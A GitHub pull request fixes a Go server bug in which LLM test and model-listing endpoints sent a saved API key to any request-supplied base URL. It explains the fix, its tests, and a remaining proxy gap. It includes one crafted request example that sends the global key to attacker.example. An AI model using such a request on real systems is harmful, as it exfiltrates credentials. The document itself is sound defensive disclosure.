Skip to content

fix(llm): send a saved API key only to the endpoint it was saved for - #142

Merged
BaaRai merged 1 commit into
mainfrom
fix/llm-stored-key-endpoint
Nov 3, 2026
Merged

BaaRai merged 1 commit into
mainfrom
fix/llm-stored-key-endpoint

Conversation

@BaaRai

@BaaRai BaaRai commented Nov 3, 2026

Copy link
Copy Markdown
Owner

Bug

Two endpoints take provider and base_url from the request body, but use a saved key when api_key is empty:

  • POST /api/llm/test (server/server.go, testLLM): the stored profile's key (profile_id), and otherwise the global LLM key (s.llmCfg.APIKey).
  • POST /api/llm/models (server/server_mgmt.go, pgListModels): the stored profile's key.

Any base_url in the request therefore received the saved key, whether it came from a form edit or a crafted request from anything holding a session (for example XSS or an agent tool that calls the API). Example: {"provider":"anthropic","base_url":"https://attacker.example","api_key":""} sent the global Anthropic key to attacker.example.

Fix

New helper sameLLMEndpoint(provA, baseA, provB, baseB). It normalizes both pairs with agent.ConfigFrom: trimmed, endpoint suffix stripped, and an empty base URL meaning that provider's canonical host. It then compares the format and the base URL. A saved key (profile or global) is sent only when the request's endpoint equals the endpoint it was saved for. Otherwise the request needs api_key, and the error explains that the saved key is only sent to its own endpoint.

The list-view test button keeps working: testLLM already fills an empty provider/base_url from the stored row before this check. The edit form also keeps working while the base URL is unchanged.

Verification

  • go build ./... and go vet ./...: OK (go1.26.7).
  • New server/llm_key_endpoint_test.go:
    • TestSameLLMEndpoint (table: trailing slash, endpoint suffix, empty vs canonical host, provider mismatch): passes.
    • TestLLMTestGlobalKeyOnlyForGlobalEndpoint needs no database. Against the old handler code it fails (global key went to a form-supplied host: hits=1 ... ok:true). With the fix it passes, and the global key still reaches its own endpoint.
    • TestStoredProfileKeyOnlyForStoredEndpoint covers both handlers with a stored profile. It needs Postgres and was skipped locally (no database here). CI runs it with the Postgres service.
  • go test ./server ./agent ./cmd/artex ./config ./db -count=1 locally: agent/cmd/config/db ok. In ./server, 34 tests fail, and every one of them is a "no database config found" failure from the lack of Postgres (the same 34 fail on unmodified main). No other test fails.

Not verified:

  • The stored-profile path against a real database (CI will run it).
  • The UI flow by hand.
  • The form's proxy is still taken from the request, so the key can travel through a request-supplied proxy. Over https a CONNECT proxy does not see it; over a plain-http base URL it would. That case is left unchanged here.

POST /api/llm/test and POST /api/llm/models take provider and base_url from
the form but fell back to the stored profile key (and, for the test, the
global key) when the form had none. Any base_url typed into the form, or
supplied by a crafted request, received the saved key.

The saved key is now used only when the request's provider and base URL
normalize to the ones it was saved with (sameLLMEndpoint, built on
agent.ConfigFrom). Otherwise the key must be entered in the form, and the
error says why.
@BaaRai
BaaRai merged commit 0093781 into main Nov 3, 2026
3 checks passed
@BaaRai BaaRai mentioned this pull request Nov 4, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant